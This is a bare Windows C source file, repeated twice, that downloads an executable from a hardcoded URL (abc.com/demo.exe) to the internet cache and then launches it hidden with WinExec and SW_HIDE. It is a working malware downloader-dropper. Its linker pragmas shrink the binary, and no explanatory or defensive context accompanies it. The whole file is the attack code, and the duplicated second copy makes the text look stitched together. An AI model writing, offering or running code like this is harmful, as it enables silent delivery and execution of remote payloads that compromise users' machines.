#include<urlmon.h>
#include<Wininet.h>
#include<stdio.h>
#pragma comment(lib,"urlmon.lib")
#pragma comment(lib,"Wininet.lib")
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/merge:.rdata=.text")
#define szUrl "http://www.abc.com/demo.exe"
void main(int argc,char ** argv)
{
URLDownloadToCacheFile(NULL,szUrl,"c:/1.exe",50,0,NULL);
DWORD dwEntrySize=0;
LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry;
char strTemp[255];
if (!GetUrlCacheEntryInfo(szUrl,NULL,&dwEntrySize))
{
if (GetLastError()!=ERROR_INSUFFICIENT_BUFFER)
{
return;
}
else
lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO)new char[dwEntrySize];
}
else
return;
if (!GetUrlCacheEntryInfo(szUrl,lpCacheEntry,&dwEntrySize))
{
return;
}
else
{
memset(strTemp,0,255);
strncpy(strTemp,lpCacheEntry->lpszLocalFileName,strlen(lpCacheEntry->lpszLocalFileName));
WinExec(strTemp,SW_HIDE);
return;
}
}
#include<Wininet.h>
#include<stdio.h>
#pragma comment(lib,"urlmon.lib")
#pragma comment(lib,"Wininet.lib")
#pragma comment(linker, "/OPT:NOWIN98")
#pragma comment(linker, "/merge:.rdata=.text")
#define szUrl "http://www.abc.com/demo.exe"
void main(int argc,char ** argv)
{
URLDownloadToCacheFile(NULL,szUrl,"c:/1.exe",50,0,NULL);
DWORD dwEntrySize=0;
LPINTERNET_CACHE_ENTRY_INFO lpCacheEntry;
char strTemp[255];
if (!GetUrlCacheEntryInfo(szUrl,NULL,&dwEntrySize))
{
if (GetLastError()!=ERROR_INSUFFICIENT_BUFFER)
{
return;
}
else
lpCacheEntry = (LPINTERNET_CACHE_ENTRY_INFO)new char[dwEntrySize];
}
else
return;
if (!GetUrlCacheEntryInfo(szUrl,lpCacheEntry,&dwEntrySize))
{
return;
}
else
{
memset(strTemp,0,255);
strncpy(strTemp,lpCacheEntry->lpszLocalFileName,strlen(lpCacheEntry->lpszLocalFileName));
WinExec(strTemp,SW_HIDE);
return;
}
}